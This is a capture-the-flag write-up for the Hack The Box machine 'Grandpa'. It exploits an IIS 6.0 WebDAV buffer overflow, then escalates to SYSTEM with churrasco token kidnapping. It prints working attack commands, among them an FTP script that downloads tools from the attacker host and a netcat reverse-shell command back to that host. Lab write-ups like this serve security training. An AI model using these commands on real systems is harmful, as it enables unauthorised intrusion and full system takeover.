Grandpa was one of the really early HTB machines. It’s the kind of box that wouldn’t show up in HTB today, and frankly, isn’t as fun as modern targets.
Vulnerability Explanation: Buffer overflow in the ScStoragePathFromUrl function in the WebDAV service in Internet Information Services (IIS) 6.0 in Microsoft Windows Server 2003 R2 allows remote attackers to execute arbitrary code via a long header beginning with "If: <http://" in a PROPFIND request, as exploited in the wild in July or August 2016.
Vulnerability Fix: Update the used version of Microsoft IIS httpd 6.0 version
Privilege Escalation Vulnerability: Microsoft Windows Server 2003 - Token Kidnapping Local Privilege Escalation. Basically, if you can run code under any service in Win2k3 then you can own Windows, this is because Windows services accounts can impersonate. Other process (not services) that can impersonate are IIS 6 worker processes so if you can run code from an ASP .NET or classic ASP web application then you can own Windows too.
Vulnerability Fix: If you provide shared hosting services, then I would recommend to not allow users to run this kind of code from ASP.
Severity: Critical
An initial Nmap scan revealed the HTTP server on port 80 with Microsoft IIS httpd 6.0 version.
┌──(root💀kali)-[/root/htb/windows/grandpa]
└─# nmap -sC -sV 10.10.10.14
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-23 08:56 EST
Nmap scan report for 10.10.10.14
Host is up (0.11s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 6.0
| http-methods:
|_ Potentially risky methods: TRACE COPY PROPFIND SEARCH LOCK UNLOCK DELETE PUT MOVE MKCOL PROPPATCH
| http-webdav-scan:
| WebDAV type: Unknown
| Server Date: Thu, 23 Dec 2021 13:57:09 GMT
| Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
| Server Type: Microsoft-IIS/6.0
|_ Allowed Methods: OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK
|_http-title: Under Construction
|_http-server-header: Microsoft-IIS/6.0
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.72 seconds
The Microsoft IIS httpd 6.0 initial page on port 80.
Searching for public exploits for Microsoft IIS httpd 6.0 using searchsploit
A reverse shell received as NT AUTHORITY\NETWORK SERVICE
┌──(root💀kali)-[/root/htb/windows/grandpa]
└─# nc -nlvp 9001
listening on [any] 9001 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.10.14] 1035
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.
c:\windows\system32\inetsrv>whoami
whoami
nt authority\network service
Privilege Escalation:
Check the OS version using systeminfo command:
c:\windows\system32\inetsrv>systeminfo
systeminfo
Host Name: GRANPA
OS Name: Microsoft(R) Windows(R) Server 2003, Standard Edition
OS Version: 5.2.3790 Service Pack 2 Build 3790
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Server
OS Build Type: Uniprocessor Free
Registered Owner: HTB
Registered Organization: HTB
Product ID: 69712-296-0024942-44782
Original Install Date: 4/12/2017, 5:07:40 PM
System Up Time: 0 Days, 5 Hours, 10 Minutes, 55 Seconds
System Manufacturer: VMware, Inc.
System Model: VMware Virtual Platform
System Type: X86-based PC
Processor(s): 1 Processor(s) Installed.
[01]: x86 Family 23 Model 49 Stepping 0 AuthenticAMD ~2994 Mhz
BIOS Version: INTEL - 6040000
Windows Directory: C:\WINDOWS
System Directory: C:\WINDOWS\system32
Boot Device: \Device\HarddiskVolume1
System Locale: en-us;English (United States)
Input Locale: en-us;English (United States)
Time Zone: (GMT+02:00) Athens, Beirut, Istanbul, Minsk
Total Physical Memory: 1,023 MB
Available Physical Memory: 757 MB
Page File: Max Size: 2,470 MB
Page File: Available: 2,300 MB
Page File: In Use: 170 MB
Page File Location(s): C:\pagefile.sys
Domain: HTB
Logon Server: N/A
Hotfix(s): 1 Hotfix(s) Installed.
[01]: Q147222
Network Card(s): N/A
Search for public exploit using searchsploit on base of the OS Name and OS Version found on the previous systeminfo.
Then start a local ftp server on the local machine using Python to transfer the files to the victim machine:
Download the churrasco.exe file on the victim machine as follow:
C:\wmpub>echo open 10.10.16.2 21> ftp.txt&echo USER anonymous >> ftp.txt&echo anonymous>> ftp.txt&echo bin>> ftp.txt&echo GET churrasco.exe >> ftp.txt&echo bye>> ftp.txt
echo open 10.10.16.2 21> ftp.txt&echo USER anonymous >> ftp.txt&echo anonymous>> ftp.txt&echo bin>> ftp.txt&echo GET churrasco.exe >> ftp.txt&echo bye>> ftp.txt
C:\wmpub>ftp -v -n -s:ftp.txt
ftp -v -n -s:ftp.txt
Connected to 10.10.16.2.
open 10.10.16.2 21
220 pyftpdlib 1.5.6 ready.
USER anonymous
331 Username ok, send password.
230 Login successful.
bin
200 Type set to: Binary.
GET churrasco.exe
200 Active data connection established.
125 Data connection already open. Transfer starting.
226 Transfer complete.
ftp: 31232 bytes received in 0.16Seconds 200.21Kbytes/sec.
bye
C:\wmpub>dir
dir
Volume in drive C has no label.
Volume Serial Number is FDCB-B9EF
Directory of C:\wmpub
12/23/2021 04:45 PM <DIR> .
12/23/2021 04:45 PM <DIR> ..
12/23/2021 04:45 PM 31,232 churrasco.exe
12/23/2021 04:44 PM 78 ftp.txt
04/12/2017 04:05 PM <DIR> wmiislog
2 File(s) 31,310 bytes
3 Dir(s) 1,361,055,744 bytes free
Then download the nc.exe using the same method:
C:\wmpub>echo open 10.10.16.2 21> ftp.txt&echo USER anonymous >> ftp.txt&echo anonymous>> ftp.txt&echo bin>> ftp.txt&echo GET nc.exe >> ftp.txt&echo bye>> ftp.txt
echo open 10.10.16.2 21> ftp.txt&echo USER anonymous >> ftp.txt&echo anonymous>> ftp.txt&echo bin>> ftp.txt&echo GET nc.exe >> ftp.txt&echo bye>> ftp.txt
C:\wmpub>ftp -v -n -s:ftp.txt
ftp -v -n -s:ftp.txt
Connected to 10.10.16.2.
open 10.10.16.2 21
220 pyftpdlib 1.5.6 ready.
USER anonymous
331 Username ok, send password.
230 Login successful.
bin
200 Type set to: Binary.
GET nc.exe
200 Active data connection established.
125 Data connection already open. Transfer starting.
226 Transfer complete.
ftp: 59392 bytes received in 0.27Seconds 224.12Kbytes/sec.
bye
C:\wmpub>dir
dir
Volume in drive C has no label.
Volume Serial Number is FDCB-B9EF
Directory of C:\wmpub
12/23/2021 04:47 PM <DIR> .
12/23/2021 04:47 PM <DIR> ..
12/23/2021 04:45 PM 31,232 churrasco.exe
12/23/2021 04:47 PM 71 ftp.txt
12/23/2021 04:47 PM 59,392 nc.exe
04/12/2017 04:05 PM <DIR> wmiislog
3 File(s) 90,695 bytes
3 Dir(s) 1,334,099,968 bytes free
Launch a nc listener on the attacker machine using port 9002 and execute the following command:
C:\wmpub>churrasco.exe -d "C:\wmpub\nc.exe 10.10.16.2 9002 -e cmd.exe"
churrasco.exe -d "C:\wmpub\nc.exe 10.10.16.2 9002 -e cmd.exe"
/churrasco/-->Current User: NETWORK SERVICE
/churrasco/-->Getting Rpcss PID ...
/churrasco/-->Found Rpcss PID: 668
/churrasco/-->Searching for Rpcss threads ...
/churrasco/-->Found Thread: 672
/churrasco/-->Thread not impersonating, looking for another thread...
/churrasco/-->Found Thread: 676
/churrasco/-->Thread not impersonating, looking for another thread...
/churrasco/-->Found Thread: 684
/churrasco/-->Thread impersonating, got NETWORK SERVICE Token: 0x734
/churrasco/-->Getting SYSTEM token from Rpcss Service...
/churrasco/-->Found SYSTEM token 0x72c
/churrasco/-->Running command with SYSTEM Token...
/churrasco/-->Done, command should have ran as SYSTEM!
C:\wmpub>
A reverse shell received as NT AUTHORITY\SYSTEM
┌──(root💀kali)-[/root/htb/windows/grandpa]
└─# nc -nlvp 9002 1 ⨯
listening on [any] 9002 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.10.14] 1046
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.
C:\WINDOWS\TEMP>whoami
whoami
nt authority\system
We gained initial access to the machine and escalated privileges by exploiting known vulnerabilities that had patches available. So it goes without saying, you should always update your software!
